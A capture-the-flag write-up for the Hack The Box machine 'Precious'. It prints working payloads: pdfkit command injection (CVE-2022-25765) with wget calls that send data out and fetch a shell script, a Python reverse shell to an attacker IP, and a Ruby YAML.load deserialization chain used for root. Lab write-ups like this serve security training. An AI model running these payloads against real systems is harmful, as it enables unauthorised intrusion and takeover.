Precious | Write Up | Hack The Box

Precious is an Easy Hack The Box Machine released on 27 November 2022. This is a short but concise write up for it.

Precious | Write Up | Hack The Box

Introduction

Precious is an Easy Hack The Box Machine released on 27 November 2022. This is a short but concise write up for it. The machine can be found over at https://app.hackthebox.com/machines/Precious.

This is a pretty simple machine which just requires us to "Try Harder" at enumeration.

Enumeration

Being lazy, we use autorecon for some quick wins and we will decide if we need to use some other commands/scripts later on

Autorecon

We can see that only 2 TCP ports are open, SSH and HTTP

[*] Identified service ssh on tcp/22 on precious.htb
[*] Identified service http on tcp/80 on precious.htb

WEB 80

Remember to add precious.htb to your hosts file (as is customary for most HTB boxes)

From the headers: It seems to be running nginx with some web application runtime for Ruby

X-Powered-By: Phusion Passenger(R) 6.0.15 Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15 X-Runtime: Ruby

Website

We can see a page that seems to accept a website URL and returns us probably a PDF of the site.

Web page to pdf fetcher

EXIFTOOL

We hosting a sample test.html with python http server and we get a pdf. We look at its metadata

exiftool vcbu9cd2loqsmvxeyblieyq8hhp400za.pdf 
ExifTool Version Number         : 12.44
File Name                       : vcbu9cd2loqsmvxeyblieyq8hhp400za.pdf
Directory                       : .
File Size                       : 9.7 kB
File Modification Date/Time     : 2022:11:27 21:05:41-05:00
File Access Date/Time           : 2022:11:27 21:05:41-05:00
File Inode Change Date/Time     : 2022:11:27 21:06:10-05:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Generated by pdfkit v0.8.6

CVE-2022-25765

Searching for the version of pdfkit, we stumble upon CVE-2022-25765 which allows us to perform Command injection.

https://github.com/advisories/GHSA-rhwx-hjx2-x4qr
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

Helpfully, the SNYK site provides us with a simple POC we can try

http://<KALI_IP>/?name=#{'%20`sleep 5`'}

We get a PDF response after around 5 seconds, which indicates our command is working.

Exploit CVE-2022-25765

Getting UNAME -a

# http://<KALI_IP>/?name=#{'%20`wget <KALI_IP>/?cmd=$(uname -a | base64)`'}

10.129.98.87 - - [27/Nov/2022 21:46:32] "GET /?cmd=TGludXggcHJlY2lvdXMgNS4xMC4wLTE5LWFtZDY0ICMxIFNNUCBEZWJpYW4gNS4xMC4xNDktMiAo HTTP/1.1" 200 -

Machine is running Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2

You can also check for the running user id and home directory which we omit here as an exercise for u. (Note that common world writable directories seem to get wiped every few minutes for this machine)

Using the following python rev shell

import os,pty,socket;
s=socket.socket();
s.connect(("<OUR_IP>",443));
[os.dup2(s.fileno(),f)for f in(0,1,2)];
pty.spawn("/bin/bash");

Get shell

http://<KALI_IP>/?name=#{'%20`wget <KALI_IP>/shell.py -O /home/ruby/shell.py`'}

Rev shell

http://<KALI_IP>/?name=#{'%20`python3 /home/ruby/shell.py`'}`

And we should get a rev shell on our listener.

Ruby User shell

Ruby user shell
Advertisement
Advertisement

We see a passenger.hP1rspM txt files in /tmp which we can't seem to read

ls tmp/pass* -lah
total 40K
drwxr-xr-x  5 root root 4.0K Nov 27 22:22 .
drwxrwxrwt 11 root root 4.0K Nov 27 22:52 ..
drwxr-xr-x  2 root root 4.0K Nov 27 22:22 agents.s
drwx-wx-wt  2 root root 4.0K Nov 27 22:52 apps.s
-rw-r--r--  1 root root    3 Nov 27 22:22 core.pid
-rw-r--r--  1 root root    0 Nov 27 22:22 creation_finalized
-rw-------  1 root root   24 Nov 27 22:22 full_admin_password.txt
-rw-r--r--  1 root root    0 Nov 27 22:22 lock
-rw-r--r--  1 root root  356 Nov 27 22:22 properties.json
-rw-------  1 root root   24 Nov 27 22:22 read_only_admin_password.txt
-rw-r--r--  1 root root    3 Nov 27 22:22 watchdog.pid
drwxr-xr-x  2 root root 4.0K Nov 27 22:22 web_server_info

However, in our home directory, there is a Ruby bundle config file which has henry password used to get gems

cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1***********"
ruby@precious:~$ 

HENRY USER SSH

Henry ssh shell

Checking if we can run anything as sudo

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Running ruby on update dependencies ruby file as sudo root

henry@precious:~$ sudo ruby /opt/update_dependencies.rb
Traceback (most recent call last):
        2: from /opt/update_dependencies.rb:17:in `<main>'
        1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)

YAML.load Universal RCE

Searching for a potential command execution or RCE in YAML load, we find this

https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/

Get dependencies.yml into a location we can write to with the contents as follows

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

Test if the payload works (Error snipped, code has already executed so error is irrelevant)

henry@precious:~$ sudo ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):

ROOT SHELL

Modify git_set line from id to bash -lip and rerun

ROOT shell

Post root

If you were trying to upload files to world writable directorys like /dev/shm and /tmp and wondering why your files keeps getting wiped or you can't get a callback, this is why

root@precious:/# crontab -l
*/2 * * * * /usr/bin/rm /var/www/pdfapp/pdf/*
*/2 * * * * /usr/bin/rm /dev/shm/*
*/2 * * * * /usr/bin/rm /tmp/*

Cron is running to wipe the directories after 2 minutes

FIN

Thats the end of the writeup for the easy HTB machine Precious, hope you like it!